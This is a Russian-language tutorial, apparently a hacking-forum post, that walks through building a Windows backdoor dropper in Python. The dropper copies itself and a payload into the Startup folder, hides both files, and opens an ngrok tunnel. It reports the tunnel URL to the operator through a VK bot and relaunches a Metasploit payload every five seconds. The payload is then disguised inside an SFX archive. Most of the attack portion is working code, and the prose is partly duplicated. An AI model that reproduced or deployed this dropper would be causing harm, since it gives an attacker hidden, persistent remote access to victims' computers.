Да, ngrok - такая себе тема. Периодически отваливается из-за блокировок или начинает лагать, но, думаю, эта статья поможет людям, которые по каким-то причинам не могут арендовать VDS. Скрипт будет реализован на языке Python.
Итак, приступим.
Необходимые библиотеки:
Библиотеку vk_api можно заменить на telebot - она понадобится для получения ссылки от ngrok
Собственно сам код:
Для начала нужно установить токен от ngrok:
В качестве нашего "оповещателя" будем использовать бота для группы в вк. Почему не телеграм, спросите вы? Ответ прост - наличие блокировки в России, отсутствие прямых рук и стабильного прокси. Получаем доступ к API ВК:
Далее происходит проверка пути запуска - если скрипт запущен не из папки "Автозагрузка" - он добавляется в автозагрузку:
Создаем два потока - первый для соединения с ngrok, второй для беспрерывного открытия полезной нагрузки:
После написания скрипт сохранить с расширением pyw и скомпилировать в exe-файл. Для этого запустим cmd, перейдем в каталог с нашим скриптом и напишем:
Использование:
Для начала создаем полезную нагрузку
Как только наш файл будет запущен на целевой машине, нам придет оповещение:
В удаленном хосте в метасплоите указываем ссылку от ngrok и подключаемся к нашей нагрузке:
Благодаря костылю в скрипте, полезная нагрузка будет запускаться каждые 5 секунд, а сервер будет запускаться при каждом включении компьютера
Как то так
Итак, приступим.
Необходимые библиотеки:
Python:
from pyngrok import ngrok
from threading import Thread
import time
import os
import vk_api
Библиотеку vk_api можно заменить на telebot - она понадобится для получения ссылки от ngrok
Собственно сам код:
Для начала нужно установить токен от ngrok:
ngrok.set_auth_token("Ваш токен")
В качестве нашего "оповещателя" будем использовать бота для группы в вк. Почему не телеграм, спросите вы? Ответ прост - наличие блокировки в России, отсутствие прямых рук и стабильного прокси. Получаем доступ к API ВК:
Python:
token = "ваш токен"
user_id = ваш userID типа int
vk_session = vk_api.VkApi(token=token, api_version='5.89')
vk = vk_session.get_api()
Далее происходит проверка пути запуска - если скрипт запущен не из папки "Автозагрузка" - он добавляется в автозагрузку:
Python:
path = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup\\'
path1 = 'C:/Users/' + os.getlogin() + '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/'
if os.getcwd() != path:
os.system('copy a.exe ' + path)
os.system('copy backd00r.exe ' + path)
os.chdir(path1)
os.system('attrib +h a.exe')
os.system('attrib +h backd00r.exe')
vk.messages.send(user_id=user_id, message="Added to startup!")
Создаем два потока - первый для соединения с ngrok, второй для беспрерывного открытия полезной нагрузки:
Python:
class NgrokThread(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
public_url = ngrok.connect()
vk.messages.send(user_id=user_id, message="Server started: " + public_url)
class OpenThread(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
while True:
os.system('backd00r.exe')
time.sleep(5)
NgrokThread().start()
OpenThread().start()
После написания скрипт сохранить с расширением pyw и скомпилировать в exe-файл. Для этого запустим cmd, перейдем в каталог с нашим скриптом и напишем:
pyinstaller --onefile a.pyw
Использование:
Для начала создаем полезную нагрузку
Далее объединяем наш exe с полезной нагрузкой в SFX-архив:
Наш файл готов!
Дальше выбираем эксплоит:Наш файл готов!
Как только наш файл будет запущен на целевой машине, нам придет оповещение:
В удаленном хосте в метасплоите указываем ссылку от ngrok и подключаемся к нашей нагрузке:
Благодаря костылю в скрипте, полезная нагрузка будет запускаться каждые 5 секунд, а сервер будет запускаться при каждом включении компьютера
Как то так